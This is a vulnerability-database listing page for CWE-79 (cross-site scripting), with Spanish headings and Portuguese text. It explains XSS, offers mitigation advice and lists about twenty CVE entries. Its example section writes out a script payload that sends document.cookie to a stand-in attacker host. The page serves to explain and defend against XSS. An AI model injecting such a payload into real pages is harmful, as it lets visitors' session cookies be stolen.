Fallos del tipo CWE-79

30.369 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-23936MEDIUMWordPress CC Circle Progress Bar plugin <= 1.0.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-26127MEDIUMA stored cross-site scripting (XSS) vulnerability in the Send for Approval function of FileCloud v23.241.2 allows attackers to execute arbitEPSS 0.2%CVE-2026-107764HIGHSiteOrigin CSS <= 1.6.7 - Unauthenticated Stored DOM-Based Cross-Site Scripting via Comment Author URL via Inspector href SinkEPSS 0.2%CVE-2025-61305MEDIUMA reflected cross-site scripted (XSS) vulnerability in the dfm-menu_firmware.php component of GmbH Mecury Managed Print Services (docuForm) EPSS 0.2%CVE-2024-34572MEDIUMWordPress Fancy Elementor Flipbox plugin <= 2.4.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-50038MEDIUMWordPress Anant Addons for Elementor plugin <= 1.2.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-52394MEDIUMWordPress Print PDF Generator and Publisher plugin <= 1.1.6 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-95817HIGHDoFollow Case by Case <= 3.6.0 - Unauthenticated Stored Cross-Site Scripting via Comment ContentEPSS 0.2%CVE-2026-47119MEDIUMAgent Zero < 1.15 Stored XSS via image_get API EndpointEPSS 0.2%CVE-2026-96840HIGHPost Grid Gutenberg Blocks <= 5.1.0 - Unauthenticated Stored Cross-Site Scripting via display_name User FieldEPSS 0.2%CVE-2024-9110MEDIUMCross-Site Scripting In Privileged IdentityEPSS 0.2%CVE-2025-53294MEDIUMWordPress Smart Agenda plugin <= 4.9 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-23940MEDIUMWordPress jupdf pdf viewer plugin <= 0.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-22797MEDIUMWordPress Gallery and Lightbox plugin <= 1.0.14 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-46849MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2025-50050MEDIUMWordPress Jobs for WordPress plugin <= 2.7.14 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-85386HIGHConcrete CMS before 9.5.4 stored is vulneratble to cross-site scripting via unauthenticated XML/XSLT file upload in the Form BlockEPSS 0.2%CVE-2025-53279MEDIUMWordPress Popup addon for Ninja Forms plugin <= 3.4 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-61307MEDIUMA reflected cross-site scripted (XSS) vulnerability in the acc-menu_papers.php component of GmbH Mecury Managed Print Services (docuForm) v1EPSS 0.2%CVE-2026-32757MEDIUMAdmidio: HTMLPurifier Bypass in eCard Message Allows HTML Email InjectionEPSS 0.2%